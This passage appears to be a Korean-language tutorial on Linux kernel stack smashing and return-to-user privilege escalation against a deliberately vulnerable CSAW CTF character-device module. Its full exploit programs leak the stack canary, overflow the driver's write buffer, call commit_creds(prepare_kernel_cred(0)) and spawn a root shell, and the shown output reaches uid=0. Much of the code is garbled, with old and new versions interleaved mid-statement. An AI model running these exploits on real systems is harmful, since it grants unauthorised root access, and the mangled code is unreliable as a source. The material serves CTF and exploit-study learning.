...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <linux/init.h> #include <linux/module.h> #include <linux/types.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/cdev.h> #include <linux/sched.h> #include <linux/device.h> #include <linux/slab.h> #include <asm/current.h> #include <linux/uaccess.h> MODULE_LICENSE("Dual BSD/GPL"); #define DRIVER_NAME "chardev" #define BUFFER_SIZE 64 static const unsigned int MINOR_BASE = 0; static const unsigned int MINOR_NUM = 2; static unsigned int chardev_major; static struct cdev chardev_cdev; static struct class *chardev_class = NULL; static int chardev_release(struct inode *, struct file *); static ssize_t chardev_read(struct file *, char *, size_t, loff_t *); static ssize_t chardev_write(struct file *, const char *, size_t, loff_t *); static loff_t chardev_lseek(struct file *, loff_t, int); struct file_operations chardev_fops = { .release = chardev_release, .read = chardev_read, .write = chardev_write, .llseek = chardev_lseek, }; struct data { unsigned char buffer[BUFFER_SIZE]; }; static int chardev_init(void) { int alloc_ret = 0; int cdev_err = 0; dev_t dev; printk("The chardev_init() function has been called."); alloc_ret = alloc_chrdev_region(&dev, MINOR_BASE, MINOR_NUM, DRIVER_NAME); if (alloc_ret != 0) { printk(KERN_ERR "alloc_chrdev_region = %d\n", alloc_ret); return -1; } //Get the major number value in dev. chardev_major = MAJOR(dev); dev = MKDEV(chardev_major, MINOR_BASE); //initialize a cdev structure cdev_init(&chardev_cdev, &chardev_fops); chardev_cdev.owner = THIS_MODULE; //add a char device to the system cdev_err = cdev_add(&chardev_cdev, dev, MINOR_NUM); if (cdev_err != 0) { printk(KERN_ERR "cdev_add = %d\n", alloc_ret); unregister_chrdev_region(dev, MINOR_NUM); return -1; } chardev_class = class_create(THIS_MODULE, "chardev"); if (IS_ERR(chardev_class)) { printk(KERN_ERR "class_create\n"); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); return -1; } device_create(chardev_class, NULL, MKDEV(chardev_major, MINOR_BASE), NULL, "chardev%d", MINOR_BASE); return 0; } static void chardev_exit(void) { int minor; dev_t dev = MKDEV(chardev_major, MINOR_BASE); printk("The chardev_exit() function has been called."); for (minor = MINOR_BASE; minor < MINOR_BASE + MINOR_NUM; minor++) { device_destroy(chardev_class, MKDEV(chardev_major, minor)); } class_destroy(chardev_class); cdev_del(&chardev_cdev); unregister_chrdev_region(dev, MINOR_NUM); } static int chardev_release(struct inode *inode, struct file *file) { printk("The chardev_release() function has been called."); if (file->private_data) { kfree(file->private_data); file->private_data = NULL; } return 0; } static ssize_t chardev_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_write() function has been called."); printk("Before calling the copy_from_user() function : %p",data); if (_copy_from_user(&data, buf, count) != 0) { return -EFAULT; } /* if (copy_from_user(&data, buf, count) != 0) { return -EFAULT; } if (__copy_from_user(&data, buf, count) != 0) { return -EFAULT; } */ printk("After calling the copy_from_user() function : %p",data); return count; } static ssize_t chardev_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { char data[BUFFER_SIZE]; printk("The chardev_read() function has been called."); memset(data, 0, sizeof(data)); strcpy(data, "Welcome to the CSAW CTF challenge. Best of luck!\n"); printk("MSG : %s\n",data); printk("f_pos : %lld\n",*f_pos); if (memcpy(buf, data + *f_pos, BUFFER_SIZE) != 0) { return -EFAULT; } return count; } static loff_t chardev_lseek(struct file *file, loff_t offset, int orig) { loff_t new_pos = 0; printk("The device_lseek() function has been called."); switch(orig) { case 0 : /*seek set*/ new_pos = offset; break; case 1 : /*seek cur*/ new_pos = file->f_pos + offset; break; case 2 : /*seek end*/ new_pos = BUFFER_SIZE - offset; break; } if(new_pos > BUFFER_SIZE) new_pos = BUFFER_SIZE; if(new_pos < 0) new_pos = 0; file->f_pos = new_pos; return new_pos; } module_init(chardev_init); module_exit(chardev_exit); |
...
Code Block | ||
---|---|---|
| ||
//gcc -static -o test test.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; int fd; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } memset (buf, 'A', TEXT_LEN); if (read(fd, buf, TEXT_LEN) < 0){ printf("An error occurred in the read.\n"); }else{ printf("%s\n", buf); } if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Canary 값을 추출하기 위해 다음과 같이 코드를 작성합니다.
lseek() 함수를 이용하여 fd의 포인트 위치로 부터 16 byte 뒤로 이동합니다.
read() 함수를 이용하여 fd 영역의 값을 buf영역에 저장합니다.
memcpy() 함수를 이용하여 "buf+48"영역으로 부터 8 byte를 "canaryval"변수에 복사합니다.
- Canary는 data 변수의 시작 주소로 부터 64byte 떨어져 있고, lseek() 함수를 이용하여 fd의 포인터의 위치를 16byte를 뒤로 이동했기 때문에 "buf"변수에 저장된 Canary의 위치는 "buf+48"가 됩니다.(64 - 16 = 48)
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o leak leak.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); size_t canary = ((size_t *)val)[0]; printf("[+]canary is :": %p\n", (void *)canary); for(i if (close(fd) != 0;i < 8;i++){ printf("%02xCannot ",canary[i] & 0xff); } printf("\n"); if (close(fd) != 0){ printf("Cannot close.\n"); close.\n"); } return 0; } |
- Canary가 정상적으로 추출되는지 확인하기 위해 해당 코드를 빌드 후 실행합니다.
- 디버거에서 확인한 Canary의 값은 0x7fc22694 입니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -static -o overflow Overflowoverflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :"); for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xffsize_t canary = ((size_t *)val)[0]; printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8);[k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
권한 상승에 필요한 함수의 주소는 찾기 위해 사용되는 코드는 01.Stack smashing(32bit) & Return-to-user(ret2usr)- Find the address of a function Findtheaddressofafunction에서 사용한 코드를 그대로 사용합니다.
- 이전 코드와 다른 부분은 ret2usr를 구현하지 않았다는 것입니다.
Code Block | ||
---|---|---|
| ||
//gcc -masm=intel -static -o address address.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; streamvoid *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p += 3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0 { break; }else{ addr = NULL; } } fclose(fp); return addr; } int main() { static char buf[512],; size_t rop[512]; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "commit_creds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("size_t canary is :"); = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff); printf("[+]canary: %p\n", (void *)canary); int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8);[k++] = 0x4242424242424242; //BBBBBBBB memset(rop+88,'C',8);[k++] = 0x4343434343434343; //CCCCCCCC memset(rop+96,'D',8);[k++] = 0x4444444444444444; //DDDDDDDD memset(rop+104,'E',8);[k++] = 0x4545454545454545; //EEEEEEEE memset(rop+112,'F',8); write(fd, rop, 120); [k++] = 0x4646464646464646; //FFFFFFFF write(fd, rop, 104120); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o test test.c unsigned long __attribute__((regparm(3))) ... void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(unsignedvoid long*) cred); unsigned long struct __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void trap_frame { void *user_rip ; ; // instruction pointer uint64_t user_cs ; ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; ; // stack pointer uint64_t user_ss ; ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } ... //Exploit code int k = 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8)[k++] = 0; memset(rop+80,'B',8); memset(rop+88,'C',8)[k++] = 0; rop[k++] = 0; *(void**)(rop+96)rop[k++] = &(size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); ... |
- 추가된 코드를 이용하여 모듈을 디버깅하기 위해 모듈을 새로 등록하고 주소값을 확인합니다.
- 디버깅할 함수는 chardev_write이며, 주소는 0xffffffffc01a10d0 입니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/SS$ ./testr2u commit_creds address is :0xffffffff8109d760 prepare_kernel_cred address is :0xffffffff8109da40 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c3 47 d4 a9 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ?Gԩ?,l # id uid=0(root) gid=0(root) groups=0(root) # |
...
Code Block | ||||
---|---|---|---|---|
| ||||
//gcc -masm=intel -static -o exploitr2u exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (void *(*prepare_kernel_cred)(unsigned long cred); struct trap_frame { void *user_rip ; // instruction pointer uint64_t user_cs ; // code segment uint64_t user_rflags ; // CPU flags void *user_rsp ; // stack pointer uint64_t user_ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" "mov tf+32, ss;" ); tf.user_rip = &getShell ; } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("swapgs;" "mov %%rsp, %0;" "iretq;" : : "r" (&tf)); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) {(void *) ; int (*commit_creds)(void *) ; struct trap_frame { void *user_rip; // instruction pointer uint64_t user_cs; // code segment uint64_t user_rflags; // CPU flags void *user_rsp; // stack pointer uint64_t user_ss; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("mov tf+8, cs;" "pushf; pop tf+16;" "mov tf+24, rsp;" printf("failed to open /proc/kallsyms\n");mov tf+32, ss;" return 0); tf.user_rip = &getShell ; } void memset(fbuf,0x00,sizeof(fbuf)); payload(void) { while(fgets(fbuf,256,stream) != NULL)commit_creds(prepare_kernel_cred(0)); { asm("swapgs;" "mov %%rsp, %0;" char *p = fbuf; "iretq;" : : "r" (&tf)); } void *kallsym_getaddr(char *a = addr; name) { FILE *fp; if(strlen(fbuf) == 0) void *addr; continuechar sym[512]; fp = memset(addr,0x00,sizeof(addr))fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p fbuf[strlen(fbuf)-1] = '\0'; %*c %512s\n", &addr, sym) > 0) { if while(*p != ' ')(strcmp(sym, name) == 0) { *a++ = *p++break; p += 3; }else{ if(!strcmp(p,str)) addr = NULL; return strtoul(addr, NULL, 16); } } fclose(fp); return 0addr; } int main() { static char buf[512],; size_t rop[512] = {0}; char canaryval[8]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "preparecommit_kernel_credcreds()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); return 0; } lseek(fd, 16, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canaryval, buf+48,8); printf("canary is :");size_t canary = ((size_t *)val)[0]; for(i = 0;i < 8;i++) printf("%02x ",canary[i] & 0xff[+]canary: %p\n", (void *)canary); int k //Exploit code= 8; memset(&rop[0], 0x41, 64); memcpy(rop+64,canary,8)[k++] = canary; memset(rop+72,'A',8);[k++] = 0x4141414141414141; //AAAAAAAA memset(rop+80,'B',8); memset(rop+88,'C',8);[k++] = 0x4242424242424242; //BBBBBBBB *(void**)(rop+96)rop[k++] = &payload;0x4343434343434343; //CCCCCCCC memset(rop+104,'D',8)[k++] = (size_t)payload; prepare_tf(); //Overflow write(fd, rop, 1048*k++); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
...